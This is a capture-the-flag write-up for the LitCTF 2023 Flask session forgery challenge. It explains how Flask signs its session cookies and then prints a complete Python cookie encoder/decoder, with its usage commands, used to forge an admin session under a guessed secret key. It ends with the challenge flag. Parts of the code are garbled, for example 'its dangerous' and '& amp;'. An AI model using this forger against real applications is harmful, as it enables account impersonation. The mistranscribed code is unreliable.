[LitCTF 2023] Click on the Flag to send it! (cookie forgery)

Just enter a name

try admin

But we found something in the cookie

session: “eyJuYW1lIjoiYWRtaW4ifQ.ZGs1vw.7ikpuOhUtXxyB2UV-FH7UGIZkaE”

Think of session forgery

Let me talk about the role of session first:
Since the http protocol is a stateless protocol, that is to say, the first request and the second request of the same user are completely irrelevant, but the current website basically has the function of logging in, which requires that it must be stateful , and the session mechanism realizes this function.
After the user requests for the first time, the generated state information is saved in the session. At this time, the session can be regarded as a container, which stores the state information of all users in use; this state information is assigned a unique identifier for To identify the user’s identity, save it in the cookie of the response object; when the second request is made, parse the identifier in the cookie, get the identifier and go to the session to find the corresponding user information.

Session forgery attack is a very popular attack on session. The main reason for its popularity is that it is the easiest way for an attacker to obtain a valid SESSION ID (identifier). Using this method, you can Imitate the SESSION ID of the current user, pretend to be this user, and then carry out SESSION hijacking attacks further.

By checking, it is found that the web architecture is flask,

Flask is a lightweight Python web framework, which is simple, flexible, and easy to expand.

Storage method of flask session:

The first way: directly stored in the client’s cookies

The second way: stored on the server side, such as: redis, memcached, mysql, file, mongodb, etc., there is a third-party library of flask-session, and the session of flask can be saved in the cookie of the client, so it will produce certain security question.

If the session of the flask framework is stored on the client, it is necessary to solve the problem of malicious tampering of the session, and flask uses a secret_key, that is, the key to sign the data to prevent the session from being tampered with.

The session format of flask:

The session format of flask is generally composed of base64-encrypted session data (strings compressed by json and zlib), timestamps, and signatures.

Base64 decode the cookie value

The output is stored in json format, and there are a bunch of garbled characters, which should be the data signature.

The full name of json is: JavaScript Object Notation, which is a lightweight data interaction format.

JSON supports data formats:

JSON data can be wrapped in curly braces {} or square brackets [], corresponding to object and array in js

Objects: use curly braces
Arrays: use square brackets
String type: must use double quotes
Integer, floating point, Boolean and null types
Use commas to separate multiple data

json is essentially a string

Look at a piece of json data: {“name”:”admin”,”age”:18}

To forge the session, we need to get the secret_key first, here we guess the key is LitCTF

Attach the Python script

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from its dangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 & amp; & amp; < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 & amp; & amp; < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast. literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si. get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}". format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload. split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib. decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si. get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}". format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast. literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si. get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}". format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload. split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib. decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si. get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}". format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse. ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser. parse_args()

    ## find the option chosen
    if(args. subcommand == 'encode'):
        if(args. secret_key is not None and args. cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args. subcommand == 'decode'):
        if(args. secret_key is not None and args. cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args. cookie_value is not None):
            print(FSCM.decode(args.cookie_value))


Usage of the above script:

decrypt

python flask_session_cookie_manager3.py decode -s 'secret_key' -c 'session value to be decrypted'

encryption

python flask_session_cookie_manager3.py encode -s 'secret_key' -t 'need encrypted session value'

(flask_session_cookie_manager3.py is the name of your saved script)

Because of the title Said that only administrators can get the flag

According to the previous base64 decoding to get the session (json) format, we will forge the name as admin

And encrypt session data

Pass fake cookie to session

get the flag

NSSCTF{df845e3b-f834-405e-9a49-3f847c5341fe}